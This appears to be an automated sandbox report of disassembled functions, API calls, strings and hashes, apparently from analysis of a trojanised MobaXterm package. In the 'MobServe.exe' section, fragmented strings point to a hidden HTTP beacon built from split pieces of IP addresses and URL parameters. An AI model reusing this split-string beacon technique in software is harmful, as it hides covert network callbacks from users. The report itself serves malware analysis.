Part of subcall function 10057BB0: GetStdHandle.KERNEL32(000000F4,?,?,?,1004B3FD,10057A76,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E), ref: 10057BCC
Part of subcall function 10057BB0: GetFileType.KERNEL32(00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1004B3FD,00000000,00000000), ref: 10057BD9
Part of subcall function 10057BB0: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,00000200,00000000,00000000,00000000,?,?,?,?,1005237D,00000000,00000000,00000000,00000000), ref: 10057C06
Part of subcall function 10057BB0: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057C32

raise.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000016,%s:%d: OpenSSL internal error: %s,00000000,00000000,00000000,10053B52,assertion failed: ctx->cipher->block_size == 1 || ctx->cipher->block_size == 8 || ctx->cipher->block_size == 16,crypto\evp\evp_enc.c,0000017E,?,?,?,?,1005237D,00000000,00000000), ref: 10057A78
_exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 10057A82

Strings

%s:%d: OpenSSL internal error: %s, xrefs: 10057A6C

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: File$HandleTypeWrite__stdio_common_vsprintf_exitraise
String ID: %s:%d: OpenSSL internal error: %s
API String ID: 79121910-569889646
Opcode ID: 3339ca684fcaf5e7461c3daf8501645995e27d773ea7df5ad1d7ee8c7465e98f
Instruction ID: 0296ccc39528a1cd4fa8cce0f000094dee9dcdfe1e885d26c4ebe4fe946fba1b
Opcode Fuzzy Hash: 3339ca684fcaf5e7461c3daf8501645995e27d773ea7df5ad1d7ee8c7465e98f
Instruction Fuzzy Hash: 7DC0123A044301FBEA02EA904D02F6A7992EF45B50F184818BB6800892DB22A034EE23

Function 1007CF70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CF9A

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007CF87
OSSL_DECODER_get0_properties, xrefs: 1007CF7D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_get0_properties$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-2083031746
Opcode ID: 20391826a177bf53f4e2300021f476dd91e2537cdb48f20bb4afc8c14693e3ae
Instruction ID: 062fc6c1288cd734aecd615de76e86bd07bad96d353aa5a3653e8af6fec5bbb1
Opcode Fuzzy Hash: 20391826a177bf53f4e2300021f476dd91e2537cdb48f20bb4afc8c14693e3ae
Instruction Fuzzy Hash: 2FD05E347802006EEA00EB24ED47F8AB2D4EB01B00F09C954FA8CEA183E6A0FA00A116

Function 1007D680 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007D6AA

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007D697
ossl_decoder_parsed_properties, xrefs: 1007D68D

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_meth.c$ossl_decoder_parsed_properties
API String ID: 3906573944-4168976958
Opcode ID: 0aef46e58ce277213d9b0682b7d7f974f49e86a5dd8085e5cbf1244c7080051b
Instruction ID: 0e9edcead1f6defc9b90b86f7be64e8d3feb480c2d1485b3d49fc50133f40da7
Opcode Fuzzy Hash: 0aef46e58ce277213d9b0682b7d7f974f49e86a5dd8085e5cbf1244c7080051b
Instruction Fuzzy Hash: 4ED0A7347402016ADA00F624AD03F8A31D4EB00B04F144954F78CFA083E690F900B006

Function 1007CFB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007CFDA

Strings

crypto\encode_decode\decoder_meth.c, xrefs: 1007CFC7
OSSL_DECODER_get0_provider, xrefs: 1007CFBD

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: OSSL_DECODER_get0_provider$crypto\encode_decode\decoder_meth.c
API String ID: 3906573944-2622379674
Opcode ID: ba84860c392522c0adef139d719fa34f65934becfc714dfcef06ee1464ae5399
Instruction ID: cba825cf4279530f83a66146d51daaee6a5d48addf97da013257b4e2ee082195
Opcode Fuzzy Hash: ba84860c392522c0adef139d719fa34f65934becfc714dfcef06ee1464ae5399
Instruction Fuzzy Hash: A3D0C7347803417DE900D6649D47FC921D4EB41B44F484954F78CEA082E690B514A15A

Function 1004E916 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 10windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,ExportFASDADSunction,ExportFDSAASDunction,00000000), ref: 1004E927

Strings

ExportFASDADSunction, xrefs: 1004E920
ExportFDSAASDunction, xrefs: 1004E91B

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: Message
String ID: ExportFASDADSunction$ExportFDSAASDunction
API String ID: 2030045667-3571760791
Opcode ID: 3fb536a62671e298b689c473269ce8b0e9f6b15b06223d189784c72b9cffb56a
Instruction ID: d34c500d02d46393874d7f3e514794094b055b19b7fa1f3857569b85f00774bb
Opcode Fuzzy Hash: 3fb536a62671e298b689c473269ce8b0e9f6b15b06223d189784c72b9cffb56a
Instruction Fuzzy Hash: BDB09230284309BAD42012859C0AF53B648A38BB12F400082FA0EA58805F92642180AE

Function 1004F73B Relevance: 5.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(102A51DE,?,10050AB8,?,DB3A51AF), ref: 1004F831
memmove.VCRUNTIME140(?,10050A28,10050AB8,?,?,DB3A51AF), ref: 1004F851

Part of subcall function 100509DD: ?_Xlength_error@std@@YAXPBD@Z.MSVCP140(string too long,?,1004F000), ref: 100509E5

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmove$Xlength_error@std@@
String ID:
API String ID: 1743304318-0
Opcode ID: 501bfaa854e4845af041b2bb2159cc97086f87bbf4ea073edd4194ef6784c359
Instruction ID: cc2b0dc7b23046f705547c9627131de6d26d7ff797e3e111841806f0793bdd10
Opcode Fuzzy Hash: 501bfaa854e4845af041b2bb2159cc97086f87bbf4ea073edd4194ef6784c359
Instruction Fuzzy Hash: 058149B5E002199FCB44CFA8D981AEDBBF5FB08310F20412AE814E7350E735AA55CF65

Function 101A6810 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(10347938,00000000,0000002C,?), ref: 101A688C
memset.VCRUNTIME140(10347938,00000000,0000002C,?,?), ref: 101A68AA
memmove.VCRUNTIME140(?,10347968,00000000,?), ref: 101A6901
memmove.VCRUNTIME140(?,-10347968,?,?), ref: 101A6946

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: memmovememset
String ID:
API String ID: 1288253900-0
Opcode ID: 3348b9320c01573981ac320e6497f006367298a6fec2c6e120f32f29a60f7f37
Instruction ID: a1ad9ed5e803a874f71d47b5aebd8a25630b26e2bce3991981d48f85707db9fa
Opcode Fuzzy Hash: 3348b9320c01573981ac320e6497f006367298a6fec2c6e120f32f29a60f7f37
Instruction Fuzzy Hash: 8E3138798053E1EBE2025B645D81F6737ACFBCA259F210824F848DF261EB7C5888C792

Function 10271E80 Relevance: 5.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,000000FF,00000000,00000000,?,00000000,?,10272B32,?,00000000,?,00000000,?,?), ref: 10271E99
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271EA9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000), ref: 10271EC3
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 10271ECE

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$freemalloc
String ID:
API String ID: 2605342592-0
Opcode ID: a3777a6c7f042282b9c5031f8af820f8d3001bde256ac9d57312e6e038c8d0e4
Instruction ID: 26fd40075dc2cda0a9462477f2a1863bce3c613484047f13ef59d19b5c27aaa8
Opcode Fuzzy Hash: a3777a6c7f042282b9c5031f8af820f8d3001bde256ac9d57312e6e038c8d0e4
Instruction Fuzzy Hash: ECF0242A70223377DA206AAB1C8DF876E4CCF91AF1F350235FD64EB6C0DA60D81081E1

Analysis Process: MobServe.exePID: 4620, Parent PID: 7852COMMON

Execution Graph

Execution Coverage:	43.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	28
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000001FC45070000 Relevance: 70.5, APIs: 9, Strings: 31, Instructions: 459
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001FC45070076

Strings

%s%s, xrefs: 000001FC450701E2
t: , xrefs: 000001FC45070331
%s%s, xrefs: 000001FC450703F6
d, xrefs: 000001FC4507033F
=%s&, xrefs: 000001FC450702EB
msvc, xrefs: 000001FC4507009A
107., xrefs: 000001FC45070191
HT, xrefs: 000001FC45070315
rt.d, xrefs: 000001FC450700A1
ws_, xrefs: 000001FC45070187
%s&t, xrefs: 000001FC450702FC
%s%s, xrefs: 000001FC450703D4
62.1, xrefs: 000001FC450701A1
user, xrefs: 000001FC45070057
w64, xrefs: 000001FC4507017D
TP/1, xrefs: 000001FC4507031C
GET , xrefs: 000001FC450702D6
ws2_, xrefs: 000001FC4507007C
%s%s, xrefs: 000001FC450703B9
.1, xrefs: 000001FC45070323
unMa, xrefs: 000001FC45070100
32.d, xrefs: 000001FC45070069
p=%d, xrefs: 000001FC4507030E
Hos, xrefs: 000001FC4507032A
%s%s, xrefs: 000001FC450701DA
32.d, xrefs: 000001FC45070083
148., xrefs: 000001FC45070199
/?a, xrefs: 000001FC450702E4
=%s&, xrefs: 000001FC45070303
%s%s, xrefs: 000001FC450701D2
%s:%, xrefs: 000001FC45070338

Memory Dump Source

Source File: 00000005.00000002.3798326441.000001FC45070000.00000040.10000000.00040000.00000000.sdmp, Offset: 000001FC45070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1fc45070000_MobServe.jbxd

Similarity

API ID: LibraryLoad
String ID: Hos$ HT$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s&t$%s:%$.1$/?a$107.$148.$32.d$32.d$62.1$=%s&$=%s&$GET $TP/1$d$msvc$p=%d$rt.d$t: $unMa$user$w64$ws2_$ws_
API String ID: 1029625771-3065570680
Opcode ID: a3d67f65d341df92c7b229f92aef91cd92f3bd6d03f8bad1ccdfadc7b8afeea8
Instruction ID: b10cc02f5ac465aff64852baa9ea833b25c936c43143795bc74e941187eb8746
Opcode Fuzzy Hash: a3d67f65d341df92c7b229f92aef91cd92f3bd6d03f8bad1ccdfadc7b8afeea8
Instruction Fuzzy Hash: 53F1C57180878D8FDB25DFA4D8A16EEBBE0FBA4304F50065DD84AC7251DB34D646CB82

Function 000001FC45070008 Relevance: 66.9, APIs: 7, Strings: 31, Instructions: 390
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001FC45070076

Strings

%s%s, xrefs: 000001FC450701E2
t: , xrefs: 000001FC45070331
%s%s, xrefs: 000001FC450703F6
d, xrefs: 000001FC4507033F
=%s&, xrefs: 000001FC450702EB
msvc, xrefs: 000001FC4507009A
107., xrefs: 000001FC45070191
HT, xrefs: 000001FC45070315
rt.d, xrefs: 000001FC450700A1
ws_, xrefs: 000001FC45070187
%s&t, xrefs: 000001FC450702FC
%s%s, xrefs: 000001FC450703D4
62.1, xrefs: 000001FC450701A1
user, xrefs: 000001FC45070057
w64, xrefs: 000001FC4507017D
TP/1, xrefs: 000001FC4507031C
GET , xrefs: 000001FC450702D6
ws2_, xrefs: 000001FC4507007C
%s%s, xrefs: 000001FC450703B9
.1, xrefs: 000001FC45070323
unMa, xrefs: 000001FC45070100
32.d, xrefs: 000001FC45070069
p=%d, xrefs: 000001FC4507030E
Hos, xrefs: 000001FC4507032A
%s%s, xrefs: 000001FC450701DA
32.d, xrefs: 000001FC45070083
148., xrefs: 000001FC45070199
/?a, xrefs: 000001FC450702E4
=%s&, xrefs: 000001FC45070303
%s%s, xrefs: 000001FC450701D2
%s:%, xrefs: 000001FC45070338

Memory Dump Source

Source File: 00000005.00000002.3798326441.000001FC45070000.00000040.10000000.00040000.00000000.sdmp, Offset: 000001FC45070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_1fc45070000_MobServe.jbxd

Similarity

API ID: LibraryLoad
String ID: Hos$ HT$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s&t$%s:%$.1$/?a$107.$148.$32.d$32.d$62.1$=%s&$=%s&$GET $TP/1$d$msvc$p=%d$rt.d$t: $unMa$user$w64$ws2_$ws_
API String ID: 1029625771-3065570680
Opcode ID: 8611c643db6afe545d0f7574d47fd8609b9992697eb9ec212d135069bb20b08d
Instruction ID: 048acb6a2d70ebac51edd56fb3ba295e5f2e2de809724a3e5a47409afa2c7ac2
Opcode Fuzzy Hash: 8611c643db6afe545d0f7574d47fd8609b9992697eb9ec212d135069bb20b08d
Instruction Fuzzy Hash: B7E1907180878C8FDB25DFA4C8A56EEBBB0FFA4304F50065DD88A97251EB34D645CB82

Analysis Process: XWin_MobaX.exePID: 3800, Parent PID: 7852COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.1%
Total number of Nodes:	1866
Total number of Limit Nodes:	195

Executed Functions

Function 00418440 Relevance: 141.9, APIs: 60, Strings: 20, Instructions: 1925windowCOMMON

Download Yara Rule

APIs

winDisplayExitDialog.XWIN_MOBAX ref: 0041A411
winInitNotifyIcon.XWIN_MOBAX ref: 0041A474

Strings

winWindowProc - WM_CTLCOLORSCROLLBAR - We are not supposed to get this message. Exiting., xrefs: 00419DE5
winWindowProc - WM_ACTIVATE - Bad depth, trying to override window activation, xrefs: 0041A16B
yes, xrefs: 004188BD
winWindowProc - Disruptive change in depth, xrefs: 0041891A
winWindowProc - WM_*KEYDOWN - Closekey hit, quitting, xrefs: 00419F95
winWindowProc - Performance may be non-optimal after change in depth, xrefs: 00418959
winWindowProc - RemoteSession: %s, xrefs: 004188CD
winWindowProc - WM_ACTIVATEAPP, xrefs: 0041A247
Monitor number %d no longer exists!, xrefs: 00418A35
winWindowProc - WM_DISPLAYCHANGE - The display mode changed while we were initializing. This is very bad and unexpected. Exiting., xrefs: 00418854
winWindowProc - WM_EXITSIZEMOVE, xrefs: 00418EAB
winWindowProc - TrackMouseEvent failed, xrefs: 0041969D
cyg_screen_prop rl, xrefs: 00418477, 004187EC
TaskbarCreated, xrefs: 004187CD
\, xrefs: 0041A0B9
winWindowProc - WM_ENTERSIZEMOVE, xrefs: 00418E9A
winWindowProc - WM_DISPLAYCHANGE - new width: %d new height: %d new bpp: %d, xrefs: 0041889C
winTopLevelWindowProc - WM_GETDPISCALEDSIZE, xrefs: 00418835
winWindowProc - WM_DISPLAYCHANGE - Releasing and recreating primary surface, xrefs: 00418B5F
winWindowProc - WM_SIZE - new client area w: %d h: %d, xrefs: 00418C39

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: DialogDisplayExitIconInitNotify
String ID: Monitor number %d no longer exists!$TaskbarCreated$\$cyg_screen_prop rl$winTopLevelWindowProc - WM_GETDPISCALEDSIZE$winWindowProc - Disruptive change in depth$winWindowProc - Performance may be non-optimal after change in depth$winWindowProc - RemoteSession: %s$winWindowProc - TrackMouseEvent failed$winWindowProc - WM_*KEYDOWN - Closekey hit, quitting$winWindowProc - WM_ACTIVATE - Bad depth, trying to override window activation$winWindowProc - WM_ACTIVATEAPP$winWindowProc - WM_CTLCOLORSCROLLBAR - We are not supposed to get this message. Exiting.$winWindowProc - WM_DISPLAYCHANGE - Releasing and recreating primary surface$winWindowProc - WM_DISPLAYCHANGE - The display mode changed while we were initializing. This is very bad and unexpected. Exiting.$winWindowProc - WM_DISPLAYCHANGE - new width: %d new height: %d new bpp: %d$winWindowProc - WM_ENTERSIZEMOVE$winWindowProc - WM_EXITSIZEMOVE$winWindowProc - WM_SIZE - new client area w: %d h: %d$yes
API String ID: 1086186782-560916618
Opcode ID: bd109e46073a81512022c8aa0cc60717e8cca21dec550be21b80b6a42c6a5412
Instruction ID: cb633f71d140528fee6a95759d5d4e9ef50513b183954633c518206acf3a98ce
Opcode Fuzzy Hash: bd109e46073a81512022c8aa0cc60717e8cca21dec550be21b80b6a42c6a5412
Instruction Fuzzy Hash: E213F8B4604204CFDB10DF69D984BAA7BF0BB48344F50856AE889D7361E778ED91CF4A

Function 00401179 Relevance: 19.7, APIs: 13, Instructions: 200sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00401211
SetUnhandledExceptionFilter.KERNEL32 ref: 00401292
GetStartupInfoA.KERNEL32 ref: 00401473

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: ExceptionFilterInfoSleepStartupUnhandled
String ID:
API String ID: 2839300629-0
Opcode ID: 9dc6474da93355c7ef27c1ca9347625828ddc4be41b348b0817dd63589c80583
Instruction ID: c11fc725397ed4a270c0ae91d6be4f4daf632087c2fda87ae0f41e186909b802
Opcode Fuzzy Hash: 9dc6474da93355c7ef27c1ca9347625828ddc4be41b348b0817dd63589c80583
Instruction Fuzzy Hash: FF8178B1A042408FD720DFA8D98575ABBE1FB44300F05856EE885EB3A1D77D9845CF9A

Function 004DF361 Relevance: 103.7, APIs: 42, Strings: 17, Instructions: 452
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ErrorFSigSafe.XWIN_MOBAX ref: 004DF3CA
xorg_backtrace.XWIN_MOBAX ref: 004DF3CF
ErrorFSigSafe.XWIN_MOBAX ref: 004DF452
ErrorFSigSafe.XWIN_MOBAX ref: 004DF476
xorg_backtrace.XWIN_MOBAX ref: 004DF47B
ErrorFSigSafe.XWIN_MOBAX ref: 004DF3A6

Part of subcall function 005B3126: VErrorFSigSafe.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005B301F), ref: 005B313F

ErrorFSigSafe.XWIN_MOBAX ref: 004DF3F9
ErrorFSigSafe.XWIN_MOBAX ref: 004DF41D
xorg_backtrace.XWIN_MOBAX ref: 004DF422
ErrorFSigSafe.XWIN_MOBAX ref: 004DF4A9
ErrorFSigSafe.XWIN_MOBAX ref: 004DF4CD
xorg_backtrace.XWIN_MOBAX ref: 004DF4D2
XkbGetRulesDflts.XWIN_MOBAX ref: 004DF4FC

Part of subcall function 004DDF70: _strdup.MSVCRT(?,?,?,?,?,00403902), ref: 004DDF8E
Part of subcall function 004DDF70: _strdup.MSVCRT(?,?,?,?,?,00403902), ref: 004DDFB2
Part of subcall function 004DDF70: _strdup.MSVCRT(?,?,?,?,?,00403902), ref: 004DDFD7
Part of subcall function 004DDF70: _strdup.MSVCRT(?,?,?,?,?,00403902), ref: 004DDFFC
Part of subcall function 004DDF70: _strdup.MSVCRT(?,?,?,?,?,00403902), ref: 004DE021

memset.MSVCRT ref: 004DF517
calloc.MSVCRT ref: 004DF545
ErrorF.XWIN_MOBAX ref: 004DF563
calloc.MSVCRT ref: 004DF58F
ErrorF.XWIN_MOBAX ref: 004DF5B3
calloc.MSVCRT ref: 004DF5CC
ErrorF.XWIN_MOBAX ref: 004DF5E1

Part of subcall function 005B30DC: VErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005678BD), ref: 005B30F5

SrvXkbFreeKeyboard.XWIN_MOBAX ref: 004DF633
LogMessageVerb.XWIN_MOBAX ref: 004DF662
SrvXkbAllocKeyboard.XWIN_MOBAX ref: 004DF6C0
ErrorF.XWIN_MOBAX ref: 004DF6D5
free.MSVCRT ref: 004DFA61
free.MSVCRT ref: 004DFA7F
free.MSVCRT ref: 004DFA9A

Strings

BUG: %s:%u in %s(), xrefs: 004DF3C3, 004DF416, 004DF46F, 004DF4C6
XKB: Failed to copy keymap, xrefs: 004DF6F7
XKB: Failed to allocate key feedback class, xrefs: 004DF5AC
BUG: triggered 'if (dev == ((void *)0))', xrefs: 004DF39F
InitKeyboardDeviceStructInternal, xrefs: 004DF3AB, 004DF3FE, 004DF457, 004DF4AE
XKB: Reusing cached keymap, xrefs: 004DF64B
BUG: triggered 'if (dev->key != ((void *)0))', xrefs: 004DF3F2
BUG: triggered 'if (rmlvo && keymap)', xrefs: 004DF4A2
L, xrefs: 004DF580
XKB: Failed to allocate XKB info, xrefs: 004DF5DA
VUUU, xrefs: 004DF77C
XKB: Failed to compile keymap, xrefs: 004DF6AF
XKB: Failed to allocate key class, xrefs: 004DF55C
xkbInit.c, xrefs: 004DF3BB, 004DF40E, 004DF467, 004DF4BE
BUG: triggered 'if (dev->kbdfeed != ((void *)0))', xrefs: 004DF44B
XKB: Failed to allocate keyboard description, xrefs: 004DF6CE
, xrefs: 004DF989

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
